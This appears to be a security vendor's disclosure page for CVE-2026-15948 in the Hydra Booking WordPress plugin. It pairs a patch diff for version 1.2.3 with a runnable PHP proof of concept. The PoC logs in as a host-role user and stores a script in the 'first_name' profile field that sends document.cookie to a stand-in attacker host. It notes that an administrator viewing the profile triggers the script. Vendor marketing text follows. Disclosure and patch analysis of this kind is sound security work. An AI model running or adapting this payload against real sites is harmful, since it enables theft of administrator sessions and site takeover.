@@ -178,6 +178,7 @@
         // Check nonce security
         if ( ! isset( $_POST['tfhb_forgot_nonce'] ) || ! wp_verify_nonce( $_POST['tfhb_forgot_nonce'], 'tfhb_check_forgot_nonce' ) ) {
             $response['message'] = esc_html__( 'Sorry, your nonce did not verify.', 'hydra-booking' );
+            wp_send_json( $response );
         } else {

             foreach ( $required_fields as $required_field ) {
--- a/hydra-booking/app/FrontendDashboard/Shortcode/Login.php
+++ b/hydra-booking/app/FrontendDashboard/Shortcode/Login.php
@@ -153,13 +153,15 @@
       public function tfhb_sign_in_callback(){

         $response = [
-            'success' => false,
+            'success'     => false,
+            'fieldErrors' => array(),
         ];

         $required_fields = array( 'tfhb_login_user', 'tfhb_password' );
         // Check nonce security
         if ( ! isset( $_POST['tfhb_login_nonce'] ) || ! wp_verify_nonce( $_POST['tfhb_login_nonce'], 'tfhb_check_login_nonce' ) ) {
             $response['message'] = esc_html(__( 'Sorry, your nonce did not verify.', 'hydra-booking' ));
+            wp_send_json( $response );
         } else {

             foreach ( $required_fields as $required_field ) {
--- a/hydra-booking/app/FrontendDashboard/Shortcode/Signup.php
+++ b/hydra-booking/app/FrontendDashboard/Shortcode/Signup.php
@@ -244,7 +244,8 @@
      public function tfhb_registration_callback(){

         $response = [
-            'success' => false,
+            'success'     => false,
+            'fieldErrors' => array(),
         ];

         $field = [];
@@ -255,9 +256,10 @@
         $user_role = 'tfhb_host';

         $required_fields = array( 'tfhb_first_name', 'tfhb_last_name', 'tfhb_username', 'tfhb_email', 'tfhb_password', 'tfhb_confirm_password' );
-
+
         if ( ! isset( $field['tfhb_reg_nonce'] ) || ! wp_verify_nonce( $field['tfhb_reg_nonce'], 'tfhb_check_reg_nonce' ) ) {
             $response['message'] = esc_html__( 'Sorry, your nonce did not verify.', 'hydra-booking' );
+            wp_send_json( $response );
         } else {
             foreach ( $required_fields as $required_field ) {
                 if ( $required_field === 'tfhb_email' ) {
--- a/hydra-booking/app/Shortcode/HydraBookingShortcode.php
+++ b/hydra-booking/app/Shortcode/HydraBookingShortcode.php
@@ -321,6 +321,11 @@
 			wp_send_json_error( array( 'message' => __('Invalid Meeting ID', 'hydra-booking') ) );
 		}

+		// Lightweight per-IP rate limit to reduce unauthenticated slot-exhaustion / booking-spam abuse.
+		if ( $this->tfhb_is_booking_rate_limited( absint( $_POST['meeting_id'] ) ) ) {
+			wp_send_json_error( array( 'message' => __( 'Too many requests. Please try again in a few minutes.', 'hydra-booking' ) ) );
+		}
+
 		$data     = array();
 		$attendee_data     = array();
 		$response = array();
@@ -560,7 +565,7 @@
 			$booking_status = 'confirmed';
 		}

-		if(!$attendee_data['payment_method'] == 'free' && $attendee_data['payment_status'] == 'pending'){
+		if('free' !== $attendee_data['payment_method'] && $attendee_data['payment_status'] == 'pending'){
 			$booking_status = 'pending';
 		}
 		if(true == $meta_data['payment_status'] && 'woo_payment'==$meta_data['payment_method'] && !empty($meta_data['payment_meta']['product_id'])){
@@ -616,9 +621,18 @@

 		// Get booking Data using Hash
 		if ( isset( $_POST['action_type'] ) && 'reschedule' == $_POST['action_type'] ) {
-
+
+			// Require a nonce bound to this specific booking hash, mirroring the cancel flow,
+			// so possessing the site-wide public nonce alone is not enough to reschedule a booking.
+			$reschedule_nonce_valid = isset( $_POST['reschedule_nonce'] ) && ! empty( $meeting_hash )
+				&& wp_verify_nonce( $_POST['reschedule_nonce'], 'tfhb_reschedule_' . $meeting_hash );
+
+			if ( ! $reschedule_nonce_valid ) {
+				wp_send_json_error( array( 'message' => esc_html( __( 'Nonce verification failed', 'hydra-booking' ) ) ) );
+			}
+
 			// if general_settings['allowed_reschedule_before_meeting_start'] is available exp 100 then check the time before reschedule
-			$this->tfhb_reschedule_booking( $data, $attendee_data,$meeting_hash, $meta_data,  $general_settings, $check_booking );
+			$this->tfhb_reschedule_booking( $data, $attendee_data,$meeting_hash, $meta_data,  $general_settings, $check_booking );
 		}
 		$this->tfhb_create_new_booking($data, $attendee_data, $meta_data, $MeetingData, $host_meta, $general_settings );

@@ -826,7 +840,7 @@
 		}


-		if(!$attendeeBooking){
+		if ( ! $attendeeBooking || ! hash_equals( $attendeeBooking->hash, $meeting_hash ) ) {
 			wp_send_json_error( array( 'message' => esc_html(__('Invalid Booking ID', 'hydra-booking')) ) );
 		}
 		if($attendeeBooking->status == 'completed'){
@@ -1436,6 +1450,25 @@
 		$response['message'] = esc_html__( 'Payment Completed Successfully', 'hydra-booking' );
 		wp_send_json_success( $response );
 	}
+
+	/**
+	 * Lightweight per-IP, per-meeting rate limit for the public (nopriv) booking submit endpoint,
+	 * to reduce automated slot-exhaustion / booking-spam abuse. Not a substitute for a captcha,
+	 * but cheap defense-in-depth against naive scripted abuse.
+	 */
+	private function tfhb_is_booking_rate_limited( $meeting_id, $max_attempts = 8, $window_seconds = 300 ) {
+		$ip = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';
+		if ( empty( $ip ) ) {
+			return false;
+		}
+		$key   = 'tfhb_booking_rl_' . md5( $ip . '_' . $meeting_id );
+		$count = (int) get_transient( $key );
+		if ( $count >= $max_attempts ) {
+			return true;
+		}
+		set_transient( $key, $count + 1, $window_seconds );
+		return false;
+	}
 }

 ?>
--- a/hydra-booking/hydra-booking.php
+++ b/hydra-booking/hydra-booking.php
@@ -3,7 +3,7 @@
  * Plugin Name: Hydra Booking — Appointment Scheduling & Booking Calendar
  * Plugin URI: https://hydrabooking.com/
  * Description: Appointment Booking Plugin with Automated Scheduling - Apple/Outlook/ Google Calendar, WooCommerce, Zoom, Fluent Forms, Zapier, Mailchimp & CRM Integration.
- * Version: 1.2.2
+ * Version: 1.2.3
  * Tested up to: 7.0
  * Author: Themefic
  * Author URI: https://themefic.com/
@@ -29,7 +29,7 @@
 		define('TFHB_PATH', plugin_dir_path(__FILE__));
 		define('TFHB_URL', plugin_dir_url(__FILE__));

-		define( 'TFHB_VERSION', '1.2.2' );
+		define( 'TFHB_VERSION', '1.2.3' );
 		define( 'TFHB_BASE_FILE', __FILE__);
 		define( 'TFHB_DEV_MODE', false ); // Set true to enable dev mode

--- a/hydra-booking/includes/database/Booking.php
+++ b/hydra-booking/includes/database/Booking.php
@@ -542,6 +542,11 @@
 		$query .= $wpdb->prepare(" AND (m.title LIKE %s OR h.first_name LIKE %s OR h.last_name LIKE %s)", $title, $title, $title);
 		}

+		// Scope results to a single host (used to restrict a tfhb_host caller to their own bookings)
+		if ( ! empty( $filterData['host_id'] ) ) {
+			$query .= $wpdb->prepare( " AND b.host_id = %d", $filterData['host_id'] );
+		}
+
 		return $wpdb->get_results( $query );

 	}
--- a/hydra-booking/includes/hooks/ActivationHooks.php
+++ b/hydra-booking/includes/hooks/ActivationHooks.php
@@ -51,7 +51,12 @@
 					'tfhb_manage_dashboard'           => true, // true allows this capability.
 					'tfhb_manage_meetings'            => true, // true allows this capability.
 					'tfhb_manage_booking'             => true, // true allows this capability.
-					'tfhb_manage_settings'            => false, // true allows this capability.
+					// 'tfhb_manage_settings' intentionally omitted (not set to false):
+					// a host who is *also* an administrator (e.g. auto-added via
+					// MeetingController::createMeeting) merges caps from both roles,
+					// and an explicit false here would override the true granted by
+					// the administrator role. Omitting the key means a pure host still
+					// has no access, but a dual-role admin+host user keeps theirs.
 					'tfhb_manage_hosts'               => true, // true allows this capability.
 					'tfhb_manage_custom_availability' => true, // true allows this capability.
 					'tfhb_manage_integrations'        => true, // true allows this capability.
--- a/hydra-booking/includes/hooks/FilterHooks.php
+++ b/hydra-booking/includes/hooks/FilterHooks.php
@@ -21,8 +21,48 @@

                 // Redirect Host after login if woocommerce is active
                 add_filter('woocommerce_prevent_admin_access', array( new AuthController(),  'tfhb_woocommerce_prevent_admin_access' ), 10, 3);
+
+                // Restrict the Media Library so a user who can't edit others' content
+                // (e.g. a Hydra Host) only ever sees their own uploads, not every
+                // host/user's files. Admins/editors (edit_others_posts) are unaffected.
+                add_filter( 'ajax_query_attachments_args', array( $this, 'tfhb_restrict_media_library_query' ) );
+                add_filter( 'rest_attachment_query', array( $this, 'tfhb_restrict_media_library_rest_query' ), 10, 2 );
+                add_action( 'pre_get_posts', array( $this, 'tfhb_restrict_media_library_admin_query' ) );
       }

+        // Restrict the wp.media() modal (used by the Hydra Booking / Frontend
+        // Dashboard image upload fields) to the current user's own attachments.
+        public function tfhb_restrict_media_library_query( $query ) {
+                if ( ! current_user_can( 'edit_others_posts' ) ) {
+                        $query['author'] = get_current_user_id();
+                }
+                return $query;
+        }
+
+        // Restrict the wp/v2/media REST endpoint the same way, in case the
+        // Frontend Dashboard lists or queries media directly via REST.
+        public function tfhb_restrict_media_library_rest_query( $args, $request ) {
+                if ( ! current_user_can( 'edit_others_posts' ) ) {
+                        $args['author'] = get_current_user_id();
+                }
+                return $args;
+        }
+
+        // Restrict the wp-admin Media Library screen (Media > Library) the same
+        // way, since Hydra Hosts have the 'upload_files' capability and can
+        // otherwise browse it directly.
+        public function tfhb_restrict_media_library_admin_query( $query ) {
+                if ( ! is_admin() || ! $query->is_main_query() ) {
+                        return;
+                }
+                if ( 'attachment' !== $query->get( 'post_type' ) ) {
+                        return;
+                }
+                if ( ! current_user_can( 'edit_others_posts' ) ) {
+                        $query->set( 'author', get_current_user_id() );
+                }
+        }
+



--- a/hydra-booking/includes/services/Integrations/MailChimp/MailChimp.php
+++ b/hydra-booking/includes/services/Integrations/MailChimp/MailChimp.php
@@ -203,7 +203,7 @@
 			// json_decode the response
 			$response_body = json_decode($response_body);

-			if (isset($response_body->status) && !$response_body->status == 400) {
+			if (isset($response_body->status) && $response_body->status != 400) {
 				return true;
 			} else {
 				return false;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15948 - Hydra Booking <= 1.2.2 - Authenticated (Host+) Stored Cross-Site Scripting via 'first_name' Parameter

/**
 * Exploit for CVE-2026-15948.
 * This script demonstrates how an attacker with a 'tfhb_host' role (which can be self-assigned
 * via the public signup shortcode) can inject a stored XSS payload into the 'first_name' field.
 */

// --- Configuration ---
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$attack_username = 'attacker';       // Username of the attacker's account (with tfhb_host role)
$attack_password = 'password';       // Password for the attacker's account

// --- 1. Login as the attacker to obtain authentication cookies ---
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $attack_username,
    'pwd' => $attack_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-15948-cookies.txt'); // Store cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

echo "[+] Logged in as '$attack_username'.n";

// --- 2. Prepare the malicious XSS payload ---
// In this case, we use a payload that steals cookies and sends them to a listener.
$attacker_listener = 'https://attacker-server.example/collect';
$payload = "<script>fetch('{$attacker_listener}?c='+document.cookie)</script>";

// URL-encode the payload for the JSON body
$encoded_payload = $payload;

// --- 3. Send the request to the vulnerable frontend dashboard profile update endpoint ---
$ajax_url = $target_url . '/wp-json/tfhb_frontend_dashboard/v1/update-profile';

// Construct the JSON payload. Note the malicious 'first_name' parameter.
$data = [
    'userAuth' => [
        'first_name' => $encoded_payload,
        'last_name' => 'Test',
        'email' => $attack_username . '@example.com', // Must match current email or be empty to avoid error
    ]
];

$json_data = json_encode($data);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: ' . strlen($json_data)
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-15948-cookies.txt'); // Send cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent XSS payload to {$ajax_url} (HTTP Code: {$http_code})n";
echo "[+] Response: " . $response . "n";

if ($http_code == 200) {
    echo "[+] Exploit likely successful! The payload has been stored.n";
    echo "[+] Payload: {$payload}n";
    echo "[+] Next Steps: View the user profile as an administrator to trigger the XSS.n";
} else {
    echo "[-] Exploit failed. The endpoint may have returned an error.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.